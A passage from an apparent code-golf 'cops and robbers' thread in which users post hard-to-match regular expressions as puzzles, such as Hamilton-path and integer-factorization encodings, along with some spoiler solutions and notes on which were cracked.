Ŋ|¸X|¸Z|¸¦|¸÷|¸ú|¸Đ|¸ĝ|¹,|¹>|¹M|¹Z|¹a|¹¢|¹Ì|¹×|¹Ø|¹þ|¹ĉ|¹Ĩ|º>|ºj|ºá|ºç|ºý|ºć|»2|»c|»°|»Ä|»ñ|»Ġ|»Ŋ|¼3|¼F|¼c|¼d|¼x|¼y|¼Ä|¼É|¼û|¼Č|¼ē|¼Ĩ|¼Ĭ|¼Ĵ|¼Ĺ|½k|½Ø|½ø|½ħ|¾2|¾:|¾L|¾¿|¾Á|¾ñ|¾ô|¾÷|¾đ|¾ĥ|¾Ń|¿D|¿«|¿ö|¿ø|¿Ĕ|¿ę|¿Ļ|¿ō|À3|ÀW|À°|ÀÆ|Àđ|ÀĘ|ÀĞ|Àģ|Àİ|Á§|Áé|Áõ|ÁĜ|Áĝ|ÁĪ|Áʼn|Â&|ÂB|ÂM|¿|Âø|Âħ|Âĺ|ÂĻ|ÂŁ|Âʼn|Ã`|Ãt|â|é|ÃĆ|ÃĖ|Ãĥ|Ãĩ|Ä_|Ä¥|ÄÌ|ÄÞ|Äð|ÄĆ|Äİ|ÄŁ|Å@|ÅY|Å«|ÅĄ|Åı|Åĸ|Æ;|ÆK|Æv|Ƶ|ƹ|ƽ|ÆÇ|ÆÛ|Æõ|Æü|ÆĆ|ÆĤ|Çd|Ǻ|ÇĔ|Çě|Çģ|ÇĶ|ÇĽ|Èd|Èz|È~|È´|Ƚ|ÈÂ|Èæ|Èõ|ÈŅ|ÉH|ÉO|ÉÌ|Éï|ÉČ|Éę|ÉĬ|Éĭ|ÉĴ|ÉŎ|Ê%|Ê6|ÊI|Êk|Êy|ʳ|ÊÁ|Êñ|Êą|ÊŃ|Ë!|ËH|Ëh|˺|Ë»|ËÆ|Ëğ|ËŌ|Ì3|Ì7|ÌG|Ìp|Ì«|Ìè|Ìï|ÌĮ|ÌŎ|ÍZ|Íd|Í©|ÍÖ|Íá|Íê|Íø|Íā|ÍŊ|Î-|Î_|ÎÊ|Îæ|Îó|Îù|ÎĀ|ÎĐ|Îġ|Îĭ|ÎŇ|Ï"|Ï5|Ï7|ÏA|ÏH|Ïl|ϱ|Ϲ|ÏÈ|ÏØ|ÏÚ|ÏÛ|ÏĻ|Ïʼn|ÐR|з|ÐÀ|ÐÓ|ÐĒ|Ðě|ÐĶ|Ðľ|Ñ©|ѵ|ÑÅ|ÑÈ|Ñʼn|ÒV|ÒÇ|Òĉ|Òħ|ÒŃ|Ó2|ÓD|ÓÎ|Óç|Ó÷|Óù|ÓĈ|Óķ|ÔE|ÔJ|Ôf|Ôy|ÔÆ|ÔÞ|Ôâ|ÔĂ|ÔĨ|Õ3|ÕG|Õh|Õ¹|ÕÁ|ÕÐ|Õÿ|Õğ|Õī|Ö7|ÖB|Öª|Ö¼|Öÿ|Öħ|Öij|×6|×>|×f|×¢|×µ|×·|×Â|×Ê|×Ñ|×ã|ØG|د|ØÄ|ØÊ|Øé|Øë|ØĊ|ØŇ|ØŐ|Øő|Ù:|Ùh|Ùx|Ù²|Ùč|Ùē|Ùę|Ùě|ÙĨ|ÙŇ|ÚE|Úq|Ú®|ÚÄ|ÚÒ|ÚÜ|Úä|Úí|Úı|Úķ|Û'|ÛW|Ûo|Ût|ÛÓ|Ûô|Ûõ|Ûû|Ûʼn|Ûŋ|Ü!|ÜJ|ÜÆ|ÜŐ|ÝR|Ýg|Ýq|Ýu|ÝÜ|Ýß|Ýð|Ýø|Ýč|ÝĶ|Ýʼn|Þº|ÞÝ|ÞĂ|Þą|Þć|ÞĠ|ÞĨ|ßu|ßÀ|ßė|à4|àS|à`|àk|à§|àé|àø|àĊ|àę|àģ|àĬ|á3|á£|á¶|áÄ|áÏ|áÑ|áâ|áü|áČ|áĽ|áņ|áŌ|â#|âY|â£|âº|âÓ|âġ|âĭ|âı|âŐ|âŒ|ã,|ã1|ã7|ã8|ãé|ãĭ|ä3|ä6|äN|ä¢|ä©|ä¬|äÏ|äĖ|äį|äŏ|åN|å¡|å¾|åØ|åë|åû|åč|åě|æ7|æT|æt|æ¸|æá|æï|æā|æij|ç2|çA|çJ|çl|ç¥|ç¬|çĝ|çĸ|èl|èq|èÓ|èÙ|èČ|èĖ|èĩ|èņ|èʼn|èő|éV|éZ|é®|é´|éí|éó|éû|éą|éě|éĭ|éŃ|ê5|êv|ê«|ê¶|êº|êÃ|êÔ|êİ|ëB|ëb|ë¤|ë¨|ëÎ|ëę|ëĞ|ì#|ì,|ì=|ì>|ìQ|ìS|ìV|ìº|ìā|ìġ|íJ|íV|í~|í¶|íò|íø|íă|íė|íĭ|î<|î=|îD|îR|îµ|îÚ|îÛ|îå|îê|îþ|îĒ|îĜ|îğ|ï%|ï,|ïa|ïu|ïÀ|ïÁ|ïá|ïĄ|ïą|ïċ|ïġ|ïĿ|ïŁ|ïŌ|ð6|ðE|ðp|ð¬|ðÞ|ðä|ðĚ|ðğ|ðļ|ñ1|ñ2|ñX|ñi|ñá|ñú|ñû|ñü|ñį|ñŊ|òB|ò«|ò¿|òÝ|òê|òď|ó5|óÄ|óÇ|óÈ|óÓ|óÕ|óĨ|óļ|ô4|ôh|ôÖ|ôî|ôþ|ôğ|ôŅ|õo|õ¢|õ¶|õÆ|õÓ|õä|õČ|õĕ|õģ|ö7|ö@|ön|ö¢|öÉ|öÒ|öÛ|öâ|öĝ|÷-|÷J|÷p|÷Ò|÷Ģ|÷ĭ|÷ı|÷ʼn|ø,|øo|ø¥|øÆ|øç|øè|øù|øĤ|øĥ|øħ|øň|ù7|ù9|ùs|ùu|ù¹|ùÍ|ùĆ|ùę|ùě|ùĹ|úG|úÅ|úÕ|úÖ|úÜ|úã|úç|úĂ|úĦ|û%|û;|ûR|ûh|ûu|ûz|û´|ûÐ|ûë|ûń|ûŊ|ü_|ü²|üê|üē|üğ|üł|üŅ|ý8|ý¨|ý©|ýÍ|ýÜ|ýĄ|ýċ|ýĩ|ýı|ýIJ|ýĸ|ýł|ýň|ýŎ|þ;|þD|þJ|þT|þr|þ·|þè|þĆ|ÿO|ÿÒ|ÿæ|ÿð|ÿć|ÿğ|ÿŇ|ĀA|ĀR|Ā_|Āv|Āá|ĀĘ|Āģ|Āİ|ā6|āM|ā¸|āä|āĮ|ĂX|ĂÁ|ĂÕ|ĂĚ|Ăķ|ĂĹ|ă"|ă°|ă¸|ăÉ|ăĆ|ăĚ|ăğ|ăĸ|ăĻ|ăŃ|ĄG|ĄJ|ĄK|Ą`|Ąc|Ąd|Ąg|Ąl|Ą³|ĄÄ|ĄÊ|ĄÌ|Ąú|ĄĽ|ą;|ąL|ąc|ąd|ąo|ąr|ą®|ą±|ąÄ|ąÅ|ąÇ|ąÍ|ą×|ąĈ|ąĎ|ąĐ|ąĩ|ąŌ|Ć´|Ƹ|Ć¼|ĆÑ|ĆØ|Ćí|ĆĊ|Ćņ|ĆŌ|ć4|ćx|ćy|ć¦|ć«|ćù|ćŃ|Ĉ&|Ĉ8|ĈE|ĈK|Ĉn|Ĉ¨|Ĉà|Ĉé|Ĉû|Ĉđ|Ĉĥ|ĈĪ|Ĉī|Ĉņ|ĉ@|ĉa|ĉÇ|ĉ×|ĉĩ|ĉň|Ċ#|Ċb|Ċt|Ċ»|ĊÁ|ĊÚ|Ċä|Ċÿ|Ċĝ|Ċĩ|Ċį|ċ'|ċD|ċ¶|ċÖ|ċê|ċþ|ċğ|ċņ|ČM|Čs|Č£|ČĨ|Čį|č±|čÖ|čè|čć|čğ|čń|čʼn|Ď`|Ď¡|Ď·|Ď¾|Ď¿|Ďą|Ďij|Ďŋ|ď"|ď5|ď8|ď=|ďD|ďs|ďØ|ďÚ|ďí|ďġ|ďĩ|ďļ|ĐF|ĐS|Đg|Đk|Đn|Đv|Đ~|ĐÖ|ĐÚ|ĐÜ|Đâ|ĐĞ|đA|đf|đ´|đ¸|đ¿|đÈ|đÖ|đà|đĽ|đŀ|đŌ|Ē%|ĒH|ĒÍ|ĒĹ|ĒĻ|ĒŁ|ĒŃ|ĒŇ|ē;|ēG|ēa|ēe|ēq|ē¶|ē»|ē÷|ēň|Ĕ"|Ĕ4|ĔÃ|Ĕý|Ĕą|ĔĆ|ĔĚ|ĔĞ|ĔĨ|ĕ"|ĕm|ĕw|ĕ¨|ĕ®|ĕÌ|ĕÑ|ĕĤ|Ė#|ĖR|Ėe|Ėu|Ė~|Ė¯|Ėĩ|ĖĬ|ėH|ė¹|ėö|ėú|ėÿ|ėĨ|Ęs|ĘÝ|Ęą|ĘČ|Ęĝ|Ęī|Ęĺ|Ęʼn|ęA|ęk|ęp|ę»|ęè|ęą|ęĐ|ęĨ|Ě'|Ě9|Ěe|Ěm|Ěo|Ě£|Ěª|Ě¾|Ěå|Ěë|Ěă|ĚĎ|ĚĜ|ĚĞ|ěP|ěx|ěê|ěî|ěö|ěĂ|ěĤ|ěĭ|ěļ|Ĝ%|ĜÜ|ĜĽ|ĝJ|ĝh|ĝ¹|ĝÃ|ĝÈ|ĝĖ|ĝĞ|ĝŇ|ĝŒ|Ğ&|Ğe|Ğs|ĞÖ|ğX|ğ²|ğ´|ğ¼|ğÙ|ğò|ğĂ|ğđ|ğĕ|ğĨ|ğĬ|ĠB|Ġc|Ġµ|ĠÈ|Ġè|Ġì|Ġđ|Ġě|ġ5|ġ<|ġH|ġm|ġº|ġÒ|ġü|ġă|ġĶ|ġŀ|Ģ;|Ģ¤|Ģ«|ĢÍ|ĢØ|Ģù|Ģă|ĢĐ|Ģđ|ģ-|ģL|ģ«|ģë|ģþ|ģċ|ģČ|ģĨ|ģĻ|Ĥf|Ĥª|Ĥñ|ĥM|ĥN|ĥU|ĥf|ĥz|ĥ»|ĥõ|ĥň|Ħ`|Ħj|Ħu|Ħ°|Ħ´|ĦÁ|ĦÈ|ĦÕ|Ħæ|ĦĤ|ħ4|ħp|ħ¡|ħ¦|ħ¶|ħß|ħç|ħĴ|ħĵ|ĨC|Ĩ°|ĨÂ|ĨÌ|Ĩç|Ĩõ|ĨĔ|Ĩŏ|ĩ8|ĩl|ĩt|ĩw|ĩċ|ĩđ|ĩĥ|ĩī|ĩŅ|Ī4|Ī9|ĪP|Īz|Ī±|ĪÅ|ĪÈ|ĪÝ|Īä|Īđ|ĪĦ|ĪĬ|ĪĽ|īb|īl|ī¥|ī¦|īÌ|īì|īČ|īĎ|īĐ|Ĭ#|Ĭ4|ĬF|Ĭ¤|Ĭê|Ĭí|Ĭû|Ĭĝ|ĬŌ|ĭ1|ĭK|ĭL|ĭz|ĭ¡|ĭ¯|ĭÌ|ĭâ|ĭĘ|ĭě|ĭĺ|ĮM|ĮR|Įd|Įx|Į¤|ĮÃ|ĮË|ĮÚ|Įå|ĮĤ|ĮĦ|Įī|į&|įD|įI|į¥|į«|įÉ|įÕ|įÛ|įĉ|įđ|įĒ|İQ|İi|ݬ|ݾ|İÕ|İ×|İĄ|İĬ|İľ|ı4|ıa|ıd|ıe|ıf|ı¡|ıĐ|ıĖ|ıIJ|IJ:|IJT|IJU|IJm|IJÛ|IJķ|IJŎ|ij0|ijb|ij¢|ij«|ijé|ijí|ijĎ|ijĘ|ijķ|Ĵ#|ĴF|ĴG|Ĵµ|Ĵ¹|ĴÈ|ĴÏ|Ĵý|Ĵþ|ĴĖ|ĵ8|ĵE|ĵK|ĵ¦|ĵ±|ĵÙ|ĵó|ĵõ|ĵĹ|Ķ6|ĶE|Ķl|Ķm|Ķ£|Ķ²|ĶÅ|Ķ÷|ĶĀ|Ķă|ĶĆ|ķv|ķ«|ķå|ķĢ|ķŌ|ĸ9|ĸH|ĸ¼|ĸè|ĸý|ĸĕ|ĸį|ŧ|Ĺ·|ĹÇ|ĹÈ|Ĺġ|Ĺĩ|ĺ#|ĺ6|ĺp|ĺr|ĺu|ĺæ|ĺí|ĺĖ|Ļ@|ĻI|Ļn|Ļ£|Ļ¶|ĻÂ|Ļú|ĻĮ|ĻŎ|ļ=|ļK|ļO|ļ_|ļ´|ļÀ|ļÄ|ļó|Ľ>|ĽC|ĽD|ĽG|ĽZ|Ľk|Ľr|Ľ¼|ĽÌ|Ľâ|ĽĮ|ĽŒ|ľf|ľÙ|ľÞ|ľĂ|ľī|ľł|ľņ|ĿÊ|Ŀď|Ŀđ|ĿĚ|Ŀĵ|ĿĻ|Ŀŏ|ŀC|ŀM|ŀ®|ŀà|ŀð|ŀõ|ŀČ|ŁE|ŁÁ|ŁÄ|Łõ|Łķ|ŁĿ|ł4|łG|łu|ł¬|łÏ|łò|łČ|łč|łĐ|łŌ|Ń6|Ń¿|ŃÅ|ŃË|ŃÚ|Ńü|Ńě|Ńņ|ń4|ń<|ńE|ńx|ń»|ńÄ|ńď|ńĺ|Ņ,|ŅP|Ņe|Ņn|Ņo|Ņ©|Ņ¯|Ņ½|ŅÛ|ŅĂ|ņî|ņð|ņô|ņĈ|ņī|ņĬ|ņı|Ň8|Ň:|ŇD|ŇT|Ň_|Ňd|Ňu|Ňª|Ňā|Ňć|ŇĈ|Ňň|ňK|ňL|ň¬|ňÇ|ňÏ|ňþ|ňĐ|ňĠ|ňŐ|ʼnQ|ʼn_|ʼnf|ʼnÉ|ʼnË|ʼnĨ|ʼnŃ|Ŋ0|ŊM|ŊW|ŊÔ|ŊĠ|ŋC|ŋH|ŋK|ŋÍ|ŋÒ|ŋØ|ŋÞ|ŋı|ŋĹ|Ō,|Ōl|Ō³|Ōò|Ōā|ŌĖ|ŌĚ|ŌĬ|ŌĮ|Ōĸ|ŌŒ|ōJ|ō¿|ōÀ|ōÝ|ōʼn|Ŏ8|Ŏ;|ŎQ|ŎV|Ŏ§|ŎÄ|ŎÏ|ŎĎ|ŎŇ|ŏ=|ŏD|ŏV|ŏ¹|ŏÈ|ŏÒ|ŏč|ŏĐ|ŏī|ŏĿ|ŏʼn|Ő2|Ő<|ŐC|ŐX|Őg|Ől|Őp|Ő®|Őİ|ő8|ő¹|őÀ|őó|őć|őĊ|őĖ|őĦ|őķ|őĸ|őŀ|ŒB|Œv|ŒÀ|ŒÒ|Œā|Œĉ|Œė|ŒĜ|ŒĦ|Œķ|Œľ).){255}Ň$ ``` Tested on [Regex101](http://regex101.com/#javascript) > > Each matched string is a Hamilton path from `M` to `Ň`. > > I know this is not secure enough. I don't know how to generate hard Hamilton path problems either. It has too many solutions. And as Martin Büttner said, Mathematica did it **instantly**. But this is just another NP-complete approach other than COTO's. Feel free to improve this idea and post new answers. > > The solution I have originally generated is: <https://regex101.com/r/tM1vX8/2> > > > The solution I have generated: ``` MĈàękÙēGâġ<øÆv:ĴÏĻĮ¤ĢùĹ·îĜĽDÂŁEā6ĶĆŌĸ¼yò¿Ĕýı¡Ë!į&qKPpzđȽħ¶YÌïÁéVþèlåN2O¸úÜŐİľfćx®čńďļ=¨3d"÷ĭ¯9i'ĞsĀAÅĄ³`ðĚmĘĝŒBç¬ő¹>-ìS§nUĉňĠěĤª¾ôŅ,ĊtÊIĿĵ±RĬíăÉČĨŏĐÖij0°²ã1gÍáÑʼnŃÚÒÇģLÐĒ%ĪĦu¦añû´~ą;ĥ»créüêºjµó5ĩċğĕwŎÄ¥ĎŋØëÎæTXėH8ņībŊÔÞÝßÀWhäĖeIJÛõÓķ«ö7QŀCōJ×¢@_ł4£FZĺ#oĂÕÿŇ ``` [Answer] # JS-Compatible RegEx - 3,571 bytes [cracked] I... will... have... at least... one... uncracked.... submission. o\ \_\_ /o ``` [^,;]|^(.{,255}|.{257,})$|^(?!.*,;,,;;)|^(?!.*,;;,,;)|^(?!.*..,;;;,..,.)|^(?!.*.,.;.;.,.,,)|^(?!.*....,,....;;.;.;)|^(?!.*;.{8};,;;;..)|^(?!.*.{8};;.{6};,.,;)|^(?!.*..;....,.;;.{5};;...)|^(?!.*;,.;.{7},...;.{6};...)|^(?!.*...,.,..,,...,.{7};....)|^(?!.*.,;.;.{11};.{9};..,.)|^(?!.*.,.{6},....;.{11};,...,)|^(?!.*..;.{5};....,.{6};,.{12};.)|^(?!.*,,.,,.{8};.{11};.{10})|^(?!.*...,.{9};..,....;.{6},...;.{8})|^(?!.*.{6},.{8},.{6},.{8},..;.,....)|^(?!.*.{7};..;.{5},....;.{10};...;.{9})|^(?!.*..;.{7},.{5};;.{12},.{13},.)|^(?!.*.{5},..;...;.{5};..;.{6},.{22})|^(?!.*.{10},.{8},.{6},;.{14};.;.{6})|^(?!.*..,.;...,.{19};.;..;.{22})|^(?!.*.{6};..;.{14},,.{11};....,.{13})|^(?!.*.{8},.{12};.{19},.{6},;.{6},....)|^(?!.*.,.{11},...,.{7},.{16},.{11},.{6})|^(?!.*.{15};.{7};..;..,.{24},.{7},...)|^(?!.*...,,.{25};...;...;.{19},.{7})|^(?!.*.{26},....,....,.{15},.{6},.{6};....)|^(?!.*.{6};.,.{28};.{6},.{21},.;..)|^(?!.*.{21};..;..,.{22},.{21};,..)|^(?!.*.{5};.{22};,.{17};.{18},,.{8})|^(?!.*.{9};.{25};,.{20},.{6},.{14};.)|^(?!.*.,.{9},.{8};.{8};.{10};.,.{38})|^(?!.*.{18};.{8},.,.;.{5};.{6},.{41})|^(?!.*.{15},.{16};.{7};.{17};.{8};..,.{15})|^(?!.*.{18};.,.{25};..,..;.{13};.{24})|^(?!.*.{10};.{16},.{33};...;.{17},....,..)|^(?!.*.{13},.{46},.{9},.{11},,.,.{10})|^(?!.*.{14},.{33},.{18};....,.;.{16},....)|^(?!.*.{16};....;,.{8},.{30},.{31},.{6})|^(?!.*.{9},;.{15};.{22};.{30},.{16};...)|;.,,;;.;|,;,;,.,.|.;;,.;;;|;.;,,,.;|,...;.;.,,.;.|,.,.;.{5},,;|...;;....;;;;|;..,,,.;..;..|..;;,,..;.{7};.|;..,.,,...;...,...|...;;,.,.;.;.{6}|.;...;,....;.;...,|.;.{8};,.{6},.;.;|.{5},...,...;...;.;..;|...;....;..,..,.;..;...|...;.{5};,.{5},...,.;|;.,.{12},..;;.{7};|...;.{5},..;;.{9},..;.|.;,,..;.{13};....;..|.,;.{15},,...,.,..|.{8};.,....,...,..,.{9};|...;.;.{11},..,...;....;...|.,.,.{9};;....;..,.{10}|.{5};.,;....,.{15};..,|....;.{10};.;....,.{10},;...|....;.{8};;.{6},...;.{5};.{6}|..,;;.{16};....,;.{10}|.{18};.{9};,.,.,..;.|.{11},.{10};.;.;.{10};....,|....;.{11},.{10},..;.,.;.{8}|..,....,.;.{5},.{9},.{7};.{9}|.{7};.;.{5},.{13};.;.{7};...|.{5},.{15};;.{5},.{15},..;|.{12};...;..,.,..;.{5},.{17}|.{12},..;...;.{22},.,..,|.{10},.{11},.,.;.{11};;.{8}|.{11},.{9},.{5},...,.{14};.;....|;.{22};....,.;.{10};.{10};|.{13};...;.{13},.{6};.,.{10};.|.{11};....;.{17},.{9},.{5};,.|,.{14},.{12};.{6};...;.{14};...|..;.;.{19},.{16},.{5};.{6},...|.{27};..,;.{8};;.{8};.{7}|,.{6};.,.{20},.{13},.;.{11}|.{12};.{9},.{8};,.,.{17},.{10}|;.{22};..;.{5},..;....,.{22}|.{6},.{19};.{22};;,.{5};.{5}|;.{5},.{10};..;.;;.{39}|.{11};.{7};.;.{23};.{19};.;|,.{13};.{12},.,.{27};.{6},...|...;.;.{9};.{18};.;.{27},...|...;,.{12},..;.{28},.{15};..|....;.{8};..;...;.{17},.{19},.{14}|.{8};.{29};.{17};.{5};.{5};;...|...,..;.{14},.{8};.{12};.{18},.{10}|..;.;.{7};.{17},.{11},.{24},.{5}|;.{17},.;.{29};.{9};....;.{12}|.{5},..,.{6},.{16};;.{15},.{28}|...,.{12};..;.{10};.{31};.{14};|.{24},.{6},.{22},.,..,.{10};.{7}|.{10},.{12},.{5};.{12},.{7};.{23};.{8}|.{19};.,.{6},.{22},,.{7};.{22}|.{27};,.{14},..,.{7};.{15},.{12}|....;.{18},.{22},,..,.{27};....|...,.{11},.;.;.{9},.{46},.{11}|.{19},....,.{23},.{5},.{7};.{14},.{10}|.{19};,.{11};..,.{11};.{23};.{16}|.{11};.{34},.{14},.{9},.;.{13};|.{11};....,.{41},.{9};;.{8};.{14}|.{5};.;.,.{5};...;.,.{71}|.{6};.{13};....;....;.{20};.{24},.{16}|.{26};,.{19};....;.{11},.;.{26}|.{9},.{9},.{21},.{14};.{10};.{16};.{13}|.{10},.{5},.{9};.{13},...,.{24},.{28}|.{12},.{7};.{8};.{6};;.{36};.{23}|....;.{10},.{21};.{10};.{20},.{10},.{17}|.{19},.{7},.{17},.{9};.{13},.{22};.{10}|....,.{41};.{5},..,.{21};.{6};.{18}|.{25};....;.{28},.{12},.{19};.{8};.|.{10};....,.,.{22};.{11};.{44},.{5} ``` Resolves on virtually any string instantaneously. Testable on any JS console. **+100 rep to anyone who cracks this beast.** [Answer] # PCRE - 96bytes UTF8, no delimiters, no flags ## [Defeated] because [nneonneo](https://codegolf.stackexchange.com/users/6699/nneonneo) is a wise-guy ``` (?<Warning>[You] \Will (*FAIL)!|\So just (*SKIP)this one!|\And (*ACCEPT)defeat!|[^\d\D]{16,255}) ``` Nothing to see here, move along... [Answer] # JS-Compatible RegEx - 733 bytes [cracked] Let's try this a second time with the metrics reversed: a hulking regular expression but a relatively tiny key (most importantly, within the 256-byte limit). ``` [^a-e]|^(?:.{0,33}|.{35,}|.{11}.(?!babcde).{22}|.{17}.(?!daacde).{16}|.{23}.(?!ecacbd).{10}|.{29}.(?!ab).{4}|.{31}.(?!cd)..|(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).(?!\4\8\1\2\3\10|\6\3\11\2\9\1|\6\2\9\3\4\11|\8\10\6\5\3\1|\1\8\4\5\3\7).{22}|(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{6}.(?!\15\14\16\19\21\12|\17\12\22\13\16\15|\19\14\12\20\18\21|\16\22\19\14\20\12|\21\19\13\18\15\22).{16}|(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{12}.(?!\31\32\24\28\26\23|\33\25\30\29\27\32|\28\27\23\24\29\30|\31\33\23\29\26\32|\26\28\25\24\23\33).{10}|(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{18}.(?!\34\39|\37\38|\34\37|\36\42|\43\41|\35\38|\40\35|\44\42).{4}|(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{20}.(?!\51\45|\53\54|\47\46|\45\54|\50\51|\53\45|\52\51|\52\48|\48\55)..)$ ``` Resolves on virtually any string instantaneously. Tested on RegExr. Expanded (for convenience): ``` [^a-e] | ^(?: .{0,33}| .{35,}| .{11}.(?!babcde).{22}| .{17}.(?!daacde).{16}| .{23}.(?!ecacbd).{10}| .{29}.(?!ab).{4}| .{31}.(?!cd)..| (.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).(?!\4\8\1\2\3\10|\6\3\11\2\9\1|\6\2\9\3\4\11|\8\10\6\5\3\1|\1\8\4\5\3\7).{22}| (.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{6}.(?!\15\14\16\19\21\12|\17\12\22\13\16\15|\19\14\12\20\18\21|\16\22\19\14\20\12|\21\19\13\18\15\22).{16}| (.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{12}.(?!\31\32\24\28\26\23|\33\25\30\29\27\32|\28\27\23\24\29\30|\31\33\23\29\26\32|\26\28\25\24\23\33).{10}| (.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{18}.(?!\34\39|\37\38|\34\37|\36\42|\43\41|\35\38|\40\35|\44\42).{4}| (.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.).{20}.(?!\51\45|\53\54|\47\46|\45\54|\50\51|\53\45|\52\51|\52\48|\48\55).. )$ ``` Best of luck to all. ;) [Answer] # .NET flavor, 60 bytes [cracked] ``` ^((\d)(?!(|(\d\d)*\d|(\d{3})*\d\d|(\d{5})*\d{4}|\d{6})\2))+$ ``` Tested with [Regex Storm](http://regexstorm.net/tester ".NET Regex Tester - Regex Storm"). [Answer] # Python flavour: 211 bytes [cracked] *Note: This answer was posted before the rule change about maximum key length* Thought I'd get the ball rolling with this: ``` (((((((((((((((\)\\\(58\)5\(58\(\\5\))\15\)9)\14\\919\)\)4992\)5065\14\(5)\13\\\14\\71\13\(\13\)4\\\13\\)\12\12\\28\13)\11)\10\\7217)\9\\)\8\\04)\7\)\(\8\()\6\(183)\5)\4\)65554922\\7624\)7)\3\)8\(0)\2\4\\8\\8)\1 ``` (Tested on [RegExr](http://www.regexr.com/)) --- > > Simple backreference explosion of the characters `\()0123456789` > > > [Answer] # JS-Compatible RegEx - 12,371 bytes [cracked] After some encouragement by Martin, and seeing that other cops are happily submitting 600+ KB regexes, I decided to take the plunge once more with [this](http://pastebin.com/iVxEGcmC) (and prettified version [here](http://pastebin.com/bPTQJHQa)). Resolves on virtually any string instantaneously. Testable on any JS console. Unfortunately the size makes it untestable by many online regex testers. [Answer] # .NET flavor, 458 bytes [cracked] ``` ^(?=[01]{10},[01]{10}$)(0|1((?<=^.)(?<l>){512}|(?<=^..)(?<l>){256}|(?<=^...)(?<l>){128}|(?<=^.{4})(?<l>){64}|(?<=^.{5})(?<l>){32}|(?<=^.{6})(?<l>){16}|(?<=^.{7})(?<l>){8}|(?<=^.{8})(?<l>){4}|(?<=^.{9})(?<l>){2}|(?<=^.{10})(?<l>){1})(?(l)(?<-l>(?=.*,(?:0|1(?<m>){512})(?:0|1(?<m>){256})(?:0|1(?<m>){128})(?:0|1(?<m>){64})(?:0|1(?<m>){32})(?:0|1(?<m>){16})(?:0|1(?<m>){8})(?:0|1(?<m>){4})(?:0|1(?<m>){2})(?:0|1(?<m>){1})$))|){1024})*,(?<-m>){669043}(?(m)(?!)|) ``` This one is easy. But I'll post a harder one later. I think I'm pretty near the cryptographically secure answer. Tested on [RegexStorm](http://regexstorm.net/tester). > > This is basically about integer factorization. The matched string should be the binary representation of two integers `A` and `B`. For each 1 from `A`, it will match 512, 256, ..., 1 times group `l`, which can be added to get `A`. And for each time `l`, it will match `B` using lookahead, and `B` times group `m` which is similar to `A` times `l`. So `m` is matched a total of `A*B` times. Finally it removes the group `m` 669043 times and checks if there is no more `m`. So `A*B` must be exactly 669043. > > > > For simplicity: `669043 = 809 * 827` and the solution is the binary form of these two numbers. > > > > This method doesn't work with too big numbers to make it secure, because the Regex engine has to increase the number that many times. But I have posted [a new answer](https://codegolf.stackexchange.com/a/39996/25180) to work with base 289 big integers. It has a 1536 bit long product. > > > > Also thanks Martin Büttner for introducing the balancing group feature of .NET Regex in [his answer](https://codegolf.stackexchange.com/a/39910/25180). > > > [Answer] # JS-Compatible RegEx - 2,447 bytes [cracked] My final attempt. I'm holding out hope that this one lasts at least a few hours before being cracked. After that, I give up. :P ``` [^a-f]|^(?:.{0,51}|.{53,}|.{11}.(?!d).{40}|.{12}.(?!a).{39}|.{13}.(?!a).{38}|.{14}.(?!f).{37}|.{15}.(?!d).{36}|.{16}.(?!a).{35}|.{17}.(?!d).{34}|.{18}.(?!c).{33}|.{19}.(?!f).{32}|.{20}.(?!d).{31}|.{21}.(?!d).{30}|.{22}.(?!d).{29}|.{23}.(?!f).{28}|.{24}.(?!d).{27}|.{25}.(?!b).{26}|.{26}.(?!f).{25}|.{27}.(?!f).{24}|.{28}.(?!e).{23}|.{29}.(?!c).{22}|.{30}.(?!c).{21}|.{31}.(?!b).{20}|.{32}.(?!d).{19}|.{33}.(?!e).{18}|.{34}.(?!c).{17}|.{35}.(?!a).{16}|.{36}.(?!a).{15}|.{37}.(?!e).{14}|.{38}.(?!b).{13}|.{39}.(?!f).{12}|.{40}.(?!d).{11}|.{41}.(?!f).{10}|.{42}.(?!c).{9}|.{43}.(?!f).{8}|.{44}.(?!e).{7}|.{45}.(?!c).{6}|.{46}.(?!b).{5}|.{47}.(?!b).{4}|.{48}.(?!f).{3}|.{49}.(?!a).{2}|.{50}.(?!d).{1}|....(.)(.)(.).....(?!\1|\2|\3).{40}|.(.).(.)..(.).....{1}.(?!\4|\5|\6).{39}|...(.)(.).....(.).{2}.(?!\7|\8|\9).{38}|......(.)(.).(.)..{3}.(?!\10|\11|\12).{37}|....(.)(.)(.).....{4}.(?!\13|\14|\15).{36}|..(.)(.)(.).......{5}.(?!\16|\17|\18).{35}|(.).(.)......(.)..{6}.(?!\19|\20|\21).{34}|..(.).....(.).(.).{7}.(?!\22|\23|\24).{33}|(.)..(.)(.).......{8}.(?!\25|\26|\27).{32}|...(.).....(.)(.).{9}.(?!\28|\29|\30).{31}|.(.)(.).....(.)...{10}.(?!\31|\32|\33).{30}|.(.)...(.)..(.)...{11}.(?!\34|\35|\36).{29}|(.)(.).....(.)....{12}.(?!\37|\38|\39).{28}|...(.).(.).(.)....{13}.(?!\40|\41|\42).{27}|..(.)(.)..(.).....{14}.(?!\43|\44|\45).{26}|(.).(.)....(.)....{15}.(?!\46|\47|\48).{25}|(.)..(.)...(.)....{16}.(?!\49|\50|\51).{24}|(.)(.)(.).........{17}.(?!\52|\53|\54).{23}|.(.)..(.)(.)......{18}.(?!\55|\56|\57).{22}|(.)...(.)..(.)....{19}.(?!\58|\59|\60).{21}|.......(.)(.)(.)..{20}.(?!\61|\62|\63).{20}|.(.).....(.).(.)..{21}.(?!\64|\65|\66).{19}|..(.)..(.)...(.)..{22}.(?!\67|\68|\69).{18}|..(.).(.).....(.).{23}.(?!\70|\71|\72).{17}|...(.).(.)..(.)...{24}.(?!\73|\74|\75).{16}|.(.)(.)(.)........{25}.(?!\76|\77|\78).{15}|(.).(.).....(.)...{26}.(?!\79|\80|\81).{14}|.....(.)..(.).(.).{27}.(?!\82|\83|\84).{13}|(.).(.).(.).......{28}.(?!\85|\86|\87).{12}|..(.)...(.)..(.)..{29}.(?!\88|\89|\90).{11}|(.)....(.